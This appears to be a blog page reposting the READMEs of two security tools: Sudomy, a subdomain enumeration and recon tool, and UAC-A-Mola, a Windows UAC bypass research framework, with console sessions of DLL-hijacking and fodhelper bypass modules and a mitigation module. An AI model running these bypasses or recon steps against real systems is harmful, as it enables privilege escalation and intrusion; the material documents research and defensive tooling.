8 Kasım 2019 Cuma

Subdomain Enumeration


Sudomy - Subdomain Enumeration & Analysis



Sudomy is a subdomain enumeration tool, created using a bash script, to analyze domains and collect subdomains in fast and comprehensive way.

Features

For recent time, Sudomy has these 9 features:
  • Easy, light, fast and powerful. Bash script is available by default in almost all Linux distributions. By using bash script multiprocessing feature, all processors will be utilized optimally.
  • Subdomain enumeration process can be achieved by using active method or passive method
    •  Active Method
      • Sudomy utilize Gobuster tools because of its highspeed performance in carrying out DNS Subdomain Bruteforce attack (wildcard support). The wordlist that is used comes from combined SecList (Discover/DNS) lists which contains around 3 million entries
    •  Passive Method
      •  By selecting the third-party sites, the enumeration process can be optimized. More results will be obtained with less time required. Sudomy can collect data from these well-curated 16 third-party sites:
          https://dnsdumpster.com
          https://web.archive.org
          https://shodan.io
          https://virustotal.com
          https://crt.sh
          https://www.binaryedge.io
          https://securitytrails.com
          https://sslmate.com/certspotter
          https://censys.io
          https://threatminer.org
          http://dns.bufferover.run
          https://hackertarget.com
          https://www.entrust.com/ct-search/
          https://www.threatcrowd.org
          https://riddler.io
          https://findsubdomains.com
  • Test the list of collected subdomains and probe for working http or https servers. This feature uses a third-party tool, httprobe.
  • Subdomain availability test based on Ping Sweep and/or by getting HTTP status code.
  • The ability to detect virtualhost (several subdomains which resolve to single IP Address). Sudomy will resolve the collected subdomains to IP addresses, then classify them if several subdomains resolve to single IP address. This feature will be very useful for the next penetration testing/bug bounty process. For instance, in port scanning, single IP address won’t be scanned repeatedly
  • Performed port scanning from collected subdomains/virtualhosts IP Addresses
  • Testing Subdomain TakeOver attack
  • Taking Screenshotsof subdomains
  • Report output in HTML or CSV format

How Sudomy Works
Sudomy is using cURL library in order to get the HTTP Response Body from third-party sites to then execute the regular expression to get subdomains. This process fully leverages multi processors, more subdomains will be collected with less time consumption.

Comparison
The following are the results of passive enumeration DNS testing of Sublist3r, Subfinder, and Sudomy. The domain that is used in this comparison is bugcrowd.com.
SudomySubfinderSublister

Asciinema :

Installation
Sudomy is currently extended with the following tools. Instructions on how to install & use the application are linked below.
ToolsLicenseInfo
GobusterApache License 2.0not mandatory
httprobeTom Hudson -mandatory
nmapGNU General Public License v2.0not mandatory

Dependencies
$ pip install -r requirements.txt
Sudomy requires jq to run and pars. For more information, Download and install jq here
# Linux
=======
apt-get install jq nmap phantomjs

# Mac
brew cask install phantomjs
brew install jq nmap
If you have a Go environment ready to go, it's as easy as:
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
go get -u github.com/tomnomnom/httprobe
go get -u github.com/OJ/gobuster
Download Sudomy From Github
# Clone this repository
git clone --recursive https://github.com/screetsec/Sudomy.git

# Go into the repository
sudomy --help

Running in a Docker Container
# Pull an image from DockerHub
docker pull screetsec/sudomy:v1.1.0

# Run an image, you can run the image on custom directory but you must copy/download config sudomy.api on current directory
docker run -v "${PWD}/output:/usr/lib/sudomy/output" -v "${PWD}/sudomy.api:/usr/lib/sudomy/sudomy.api" -it --rm screetsec/sudomy:v1.1.0 [argument]

Post Installation
API Key is needed before querying on third-party sites, such as Shodan, Censys, SecurityTrails, Virustotal, and BinaryEdge.
  • The API key setting can be done in sudomy.api file.
# Shodan
# URL :  http://developer.shodan.io
# Example :
#      - SHODAN_API="VGhpc1M0bXBsZWwKVGhmcGxlbAo"

SHODAN_API=""

# Censys
# URL : https://censys.io/register

CENSYS_API=""
CENSYS_SECRET=""

# Virustotal
# URL : https://www.virustotal.com/gui/
VIRUSTOTAL=""


# Binaryedge
# URL : https://app.binaryedge.io/login
BINARYEDGE=""


# SecurityTrails
# URL : https://securitytrails.com/
SECURITY_TRAILS=""

Usage
 ___         _ _  _
/ __|_  _ __| (_)(_)_ __ _  _
\__ \ || / _  / __ \  ' \ || |
|___/\_,_\__,_\____/_|_|_\_, |
                          |__/ v{1.1.0#dev} by @screetsec
Sudomy - Fast Subdmain Enumeration and Analyzer
  http://github.com/screetsec/sudomy

Usage: sudomy.sh [-h [--help]] [-s[--source]][-d[--domain=]]

Example: sudomy.sh -d example.com
         sudomy.sh -s Shodan,VirusTotal -d example.com
         sudomy.sh -pS -rS -sC -nT -sS -d example.com

Optional Arguments:
  -a,  --all   Running all Enumeration, no nmap & gobuster
  -b,  --bruteforce  Bruteforce Subdomain Using Gobuster (Wordlist: ALL Top SecList DNS)
  -d,  --domain   domain of the website to scan
  -h,  --help   show this help message
  -o,  --html   Make report output into HTML
  -s,  --source   Use source for Enumerate Subdomain
  -tO, --takeover  Subdomain TakeOver Vulnerabilty Scanner
  -pS, --ping-sweep  Check live host using methode Ping Sweep
  -rS, --resolver  Convert domain lists to resolved IP lists without duplicates
  -sC, --status-code     Get status codes, response from domain list
  -nT, --nmap-top  Port scanning with top-ports using nmap from domain list
  -sS, --screenshot  Screenshots a list of website
  -nP, --no-passive  Do not perform passive subdomain enumeration
       --no-probe  Do not perform httprobe
To use all 16 Sources and Probe for working http or https servers:
 ___         _ _  _
/ __|_  _ __| (_)(_)_ __ _  _
\__ \ || / _  / __ \  ' \ || |
|___/\_,_\__,_\____/_|_|_\_, |
                          |__/ v{1.1.0#dev} by @screetsec
Sudomy - Fast Subdmain Enumeration and Analyzer
  http://github.com/screetsec/sudomy

Usage: sudomy.sh [-h [--help]] [-s[--source]][-d[--domain=]]

Example: sudomy.sh -d example.com
         sudomy.sh -s Shodan,VirusTotal -d example.com
         sudomy.sh -pS -rS -sC -nT -sS -d example.com

Optional Arguments:
  -a,  --all   Running all Enumeration, no nmap & gobuster
  -b,  --bruteforce  Bruteforce Subdomain Using Gobuster (Wordlist: ALL Top SecList DNS)
  -d,  --domain   domain of the website to scan
  -h,  --help   show this help message
  -o,  --html   Make report output into HTML
  -s,  --source   Use source for Enumerate Subdomain
  -tO, --takeover  Subdomain TakeOver Vulnerabilty Sca   nner
  -pS, --ping-sweep  Check live host using methode Ping Sweep
  -rS, --resolver  Convert domain lists to resolved IP lists without duplicates
  -sC, --status-code     Get status codes, response from domain list
  -nT, --nmap-top  Port scanning with top-ports using nmap from domain list
  -sS, --screenshot  Screenshots a list of website
  -nP, --no-passive  Do not perform passive subdomain enumeration
       --no-probe  Do not perform httprobe
To use one of more source:
$ sudomy -d hackerone.com
To use one or more plugins:
$ sudomy -s shodan,dnsdumpster,webarchive -d hackerone.com
To use all plugins: testing host status, http/https status code, subdomain takeover and screenshots
$ sudomy -pS -sC -sS -d hackerone.com
To create report in HTML Format
$ sudomy --all -d hackerone.com
HTML Report Sample:
DashboardReports

Tools Overview
  • Youtube Videos : Click here

Translations

Changelog
All notable changes to this project will be documented in this file.

Credits & Thanks


UAC Bypasslarını Araştırmalarına İzin Veren Bir Araç


UAC-A-Mola - Güvenlik Araştırmacılarının Bilinen Bypass'ları Algılama ve Kullanma Ekinde Yeni 




UAC-A-Mola, güvenlik araştırmacılarının bilinen bypassları tespit etmenin ve kullanmanın yanı sıra yeni UAC bypasslarını incelemelerine olanak sağlayan bir araçtır. UAC-A-mola, UAC bypasslarının korunmasını ve azaltılmasını sağlayacak modüllere sahiptir.

Uac-a-mola'nın güçlü noktası, diğer araştırmacıların UAC'deki yeni zayıf yönleri keşfetme çalışmalarını ve süreçlerini yürütebilecekleri şekilde yaratılmış olmalarıdır. Tabii ki, bu araç önceden soyma işlemlerinde ve ayrıca UAC bypasslı ekipmanı korumak ve numaralandırmak için BT ekipleri tarafından kullanılabilir.


Kurulum
uac-a-mola'yı kurmak için aşağıdaki işlemleri yapmanız gerekir:
  1. Kendi altyapınızı hesaba katarak Windows için python 2.7.x'i indirip yükleyin , ikilileri burada bulabilirsiniz: https://www.python.org/downloads/
  2. Python yolunu yol ortam değişkenine ekleyin . Bunu aşağıdaki adımları uygulayarak yapabilirsiniz:
    1. Sağ tıklama mycomputer ve özelliklerine sol tıklama
    2. Gelişmiş sistem konfigürasyonu için sol tıklama
    3. Çevre Değişkenleri için Lef tıklayın
    4. In sisteme değişkenleri , çift sol tıklayın kutu Path
    5. Yeni öğesine sol tıklamak , aşağıdaki yolları ekleyin:
      • C: \ Python27 \
      • C: \ Python27 \ script\
  3. .Acip dosyasını indirerek ya da repo klonlayarak uac-a-mola aracını github'den indirin.
  4. Uac-a-mola-master klasörünü bir cmd ile açın ve aşağıdaki komutu çalıştırın :
pip install -r requirements.txt
Uac-a-mola artık sallanmaya hazır! İşlevlerini yazarak test edebilirsiniz:
cd uacamola
python uacamola.py

Öğretici
Bu, bazı uac-a-mola modüllerinin kullanımını açıklayan kısa bir bölümdür:

Saldırı modülleri Saldırı modüllerini
kullanmak, açıklama gerektirmeyen çok basit bir şeydir. Yapmanız gereken tek şey ilgilikomutu load komutunukullanarak çerçeveye yüklemek , show komutunukullanarak seçenekleri veya giriş parametrelerini görebilirsiniz, run komutuyla modül çalıştırılır:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show

 Author
 ------
 |_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)

 Name
 ----
 |_Copy DLL with wusa.exe

 Description
 -----------
 |_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)


 Options (Field = Value)
 -----------------------
 |_name_dll = comctl32.dll (name of DLL)
 |
 |_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
 |
 |_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
 |
 |_name_folder = x86_microsoft.windows.common-controls_6595b641   44ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
 |
 |_destination_path = C:\Windows\System32 (Destination path)


uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
Ve diğer örnek:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show

 Author
 ------
 |_Santiago Hernandez Ramos

 Name
 ----
 |_Fileless Fodhelper

 Description
 -----------
 |_Fileless - Fodhelper bypass UAC

 Options (Field = Value)
 -----------------------
 |_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)

uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...

Hafifletme modülleri
Hafifletme yöntemlerini kullanmak da oldukça basittir, ancak bu bölümde açıklanacak biraz daha karmaşık bir iç yapıya sahiptirler. Kullanımıyla ilgili olarak, yapılması gereken ilk şey mevcut azaltma modülünü yüklemek.
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show

 Author
 ------
 |_Santiago Hernandez Ramos

 Name
 ----
 |_This module will instrument the binaries selected and detect possible UAC bypasses

 Description
 -----------
 |_Bypass Mitigation

 Options (Field = Value)
 -----------------------
 |_[REQUIRED] password = None (Password for connection)
 |
 |_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
 |
 |_port = 5555 (Port for connection)
Bu durumda, acentelerin uacamola çerçevesinde yürütülecek dinleyiciyle iletişim kurmak için kullanacakları bir şifre belirlememiz gerekecektir Aracıları uacamola / support / agents yolunda bulabiliriz, bu dosyaları açarak şifreyi görebiliriz:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
Uacamola kimlik doğrulama ve iletişim için kullanılan şifre olacaktır, ancak değiştirebiliriz. Gereken diğer parametre, izlenecek ikili dosyalar listesini içeren bir dosyanın yoludur, bu ikili dosyaların aracı yollarında bir agent.pyw dosyasına sahip olması gerekir.
uac-a-mola[bypass_mitigation.py]> show

 Author
 ------
 |_Santiago Hernandez Ramos

 Name
 ----
 |_This module will instrument the binaries selected and detect possible UAC bypasses

 Description
 -----------
 |_Bypass Mitigation

 Options (Field = Value)
 -----------------------
 |_password = uacamola (Password for connection)
 |
 |_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
 |
 |_port = 5555 (Port for connection)

uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...

--- Press ENTER for quit mitigate mode ---
Sadece bu alanları doldurup run komutunu çalıştırmak , uacamola listede görünen ikili dosyalarda UAC bypass ile ilgili tüm aktiviteyi izlemeye başlayacaktır. Tehlikeli aktivite tespit edildiğinde, otomatik olarak (dosya sistemi veya kayıt) tehlikeli dalı budamak edecek ve yürütecek ikili bir de güvenli bir şekilde. Bu moddan çıkmak için sadece de ENTER tuşuna basmamız gerekiyor .